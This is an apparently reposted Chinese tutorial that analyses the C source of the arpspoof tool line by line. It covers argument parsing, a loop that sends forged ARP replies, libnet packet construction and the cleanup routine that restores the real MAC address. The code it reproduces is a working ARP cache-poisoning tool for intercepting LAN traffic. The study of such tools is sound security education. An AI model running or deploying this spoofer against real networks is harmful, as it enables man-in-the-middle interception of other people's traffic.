arpspoof原理分析 源码分析


从main函数开始

首先大家不要慌,我加了无数注释,这个工具的代码也不过400行而已。首先我们看一下main函数:

为了避免大家看起来太紧张,我在源码的注释中加了详细的讲解,方便基础薄弱的同学理解:

 1 int main(int argc, char *argv[])
 2 {
 3        int c;
 4        char ebuf[PCAP_ERRBUF_SIZE];
 5        intf = NULL;
 6        spoof_ip = target_ip = 0;
 7  
 8  /**
 9       关于getopt这个函数我想做如下解释大家就可以读懂下面的函数的具体意思了:
10       1.getopt的用途:用于专门处理函数参数的。
11       2.getopt的用法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求
12                     具体的用法我们可以先理解为要求i,t这两个参数必须有值
13                     然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了
14  */
15        while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
16  
17               switch (c) {
18  
19               case 'i':
20                      intf = optarg;
21                      break;
22               case 't':
23 /*
24        libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip
25 */
26                      if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
27                             usage();
28                      break;
29               default:
30                      usage();
31  
32               }
33  
34        }
35       
36        argc -= optind;
37        argv += optind;
38  
39        if (argc != 1)
40               usage();
41  
42        if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
43               usage();
44  
45       /*
46       pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。
47       下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备)      
48       ebuf就是error_buf用来存储错误信息
49       */
50        if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
51               errx(1, "%s", ebuf);
52  
53  /*
54  libnet_open_link_interface这个函数存在于libnet库中,作用是打开intf指向的网络链路设备
55  错误信息存入ebuf中。
56  */
57        if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
58               errx(1, "%s", ebuf);
59  
60  /*
61  下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip
62  那么提示错误
63  */
64        if (target_ip != 0 && !arp_find(target_ip, &target_mac))
65               errx(1, "couldn't arp for host %s",
66      libnet_host_lookup(target_ip, 0));
67  
68  //这里关于信号的处理问题如果大家不是太清楚的话也可以跳过,
69  //有兴趣的朋友,可以深入了解一下,因为这里不是本文重点,就不再赘述了
70        signal(SIGHUP, cleanup);
71        signal(SIGINT, cleanup);
72        signal(SIGTERM, cleanup);
73  
74        for (;;) {
75              /*
76                     在这个for的循环里我们看到了我们希望看到的核心模块
77       arp_send大家一看这个函数便知道这个函数是用来发送伪造的arp数据包的,关于这个函数具体的用法我们稍后将会讨论
78               */   
79               arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
80                     (target_ip ? (u_char *)&target_mac : NULL),
81                     target_ip);
82               sleep(2);
83  
84        }
85 /* NOTREACHED */
86  
87        exit(0);
88  
89 }

看了main函数里面的各种东西,我们发现并没有什么玄机,其实就是很简单的编程,具体的函数讲解都在注释中写出来了。

核心函数的登场

接下来我们就看一下他是如何实现发送arp包的,其实知道大家看了源代码以后就知道,这真的没有什么技术含量

  1 /**
  2       这里是我们发送arp包的核心实现
  3       我先来介绍一下这个函数的参数方便大家理解
  4       参数一:libnet链路层接口,通过这个接口可以操作链路层
  5       参数二:本机的网卡设备intf(由-i指定或者pcap_lookupdev来获取)
  6       参数三:arpop,来指定arp包的操作
  7       参数四:本机硬件地址
  8       参数五:本机ip
  9       参数六:目标硬件地址
 10       参数七:目标ip
 11  */
 12 int arp_send(struct libnet_link_int *llif, char *dev,
 13  int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
 14 {
 15  
 16        char ebuf[128];
 17        u_char pkt[60];
 18  
 19  /*
 20  这里来通过链路层和网卡来获取dev对应的mac地址*/
 21        if (sha == NULL &&
 22     (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
 23  
 24               return (-1);
 25  
 26        }
 27        /*
 28        这里通过链路层和网卡来获取dev对应的ip地址
 29        */
 30  
 31        if (spa == 0) {
 32  
 33               if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
 34                      return (-1);
 35               spa = htonl(spa); /* XXX */
 36  
 37        }
 38       
 39        /*
 40        如果目标mac没有的话就被赋值为\xff\xff\xff\xff\xff\xff
 41        */
 42        if (tha == NULL)
 43               tha = "\xff\xff\xff\xff\xff\xff";
 44  
 45  /*
 46 libnet_ptag_t libnet_build_ethernet(
 47 u_int8_t*dst, u_int8_t *src,
 48 u_int16_ttype, u_int8_t*payload,
 49 u_int32_tpayload_s, libnet_t*l,
 50 libnet_ptag_t ptag )
 51 功能:
 52 构造一个以太网数据包
 53 参数:
 54 dst:目的 mac
 55 src:源 mac
 56 type:上层协议类型
 57 payload:负载,即附带的数据,可设置为 NULL(这里通常写 NULL)
 58 payload_s:负载长度,或为 0(这里通常写 0 )
 59 l:libnet 句柄,libnet_init() 返回的 libnet * 指针
 60 ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。
 61 返回值:
 62 成功:协议标记
 63 失败:-1
 64  */
 65        libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
 66  /*
 67  libnet_ptag_t libnet_build_arp(
 68 u_int16_t hrd, u_int16_t pro,
 69 u_int8_t hln, u_int8_t pln,
 70 u_int16_t op, u_int8_t *sha,
 71 u_int8_t *spa, u_int8_t *tha,
 72 u_int8_t *tpa, u_int8_t *payload,
 73 u_int32_t payload_s, libnet_t *l,
 74 libnet_ptag_t ptag )
 75 功能:
 76 构造 arp 数据包 
 77 参数: 
 78 hrd:硬件地址格式,ARPHRD_ETHER(以太网) 
 79 pro:协议地址格式,ETHERTYPE_IP( IP协议) 
 80 hln:硬件地址长度 
 81 pln:协议地址长度 
 82 op:ARP协议操作类型(1:ARP请求,2:ARP回应,3:RARP请求,4:RARP回应) 
 83 sha:发送者硬件地址 
 84 spa:发送者协议地址 
 85 tha:目标硬件地址 
 86 tpa:目标协议地址 
 87 payload:负载,可设置为 NULL(这里通常写 NULL) 
 88 payload_s:负载长度,或为 0(这里通常写 0 ) 
 89 l:libnet 句柄,libnet_init() 返回的 libnet * 指针 
 90 ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。 
 91 返回值: 
 92 成功:协议标记 
 93 失败:-1
 94  */
 95        libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
 96              op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
 97              NULL, 0, pkt + ETH_H);
 98  
 99        fprintf(stderr, "%s ",
100        ether_ntoa((struct ether_addr *)sha));
101  
102  
103  
104  /*
105  下面的if和else是回显处理(也就是大家能看到的部分
106  */
107        if (op == ARPOP_REQUEST) {
108  
109               fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
110                      ether_ntoa((struct ether_addr *)tha),
111                      libnet_host_lookup(tpa, 0),
112                      libnet_host_lookup(spa, 0));
113  
114        }
115        else {
116  
117               fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
118                      ether_ntoa((struct ether_addr *)tha),
119                      libnet_host_lookup(spa, 0));
120               fprintf(stderr, "%s\n",
121                      ether_ntoa((struct ether_addr *)sha));
122  
123        }
124        return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
125  
126 }

小尾巴

 1  /*
 2       下面我们发现挂载信号处理函数的都是cleanup函数,
 3       这个函数很好理解,就是在本机网络设备存在的条件下把包再发三遍,
 4      
 5       但是为什么要这么做呢?似乎立即中断也没什么不合理,
 6       我想作者的意思就是总要给一个缓冲的时间啊
 7  
 8       我们再仔细观察一下,在main的主循环中是sleep(2)
 9       在下面的循环中是sleep(1)
10      
11  */
12 void cleanup(int sig)
13 {
14  
15        int i;
16  
17        if (arp_find(spoof_ip, &spoof_mac)) {
18  
19               for (i = 0; i < 3; i++) {
20  
21 /* XXX - on BSD, requires ETHERSPOOF kernel. */
22  
23 /*上面这条注释是源码的作者加的,意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/
24                      arp_send(llif, intf, ARPOP_REPLY,
25                            (u_char *)&spoof_mac, spoof_ip,
26                            (target_ip ? (u_char *)&target_mac : NULL),
27                            target_ip);
28                      sleep(1);
29  
30               }
31  
32        }     
33        exit(0);
34  
35 }

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM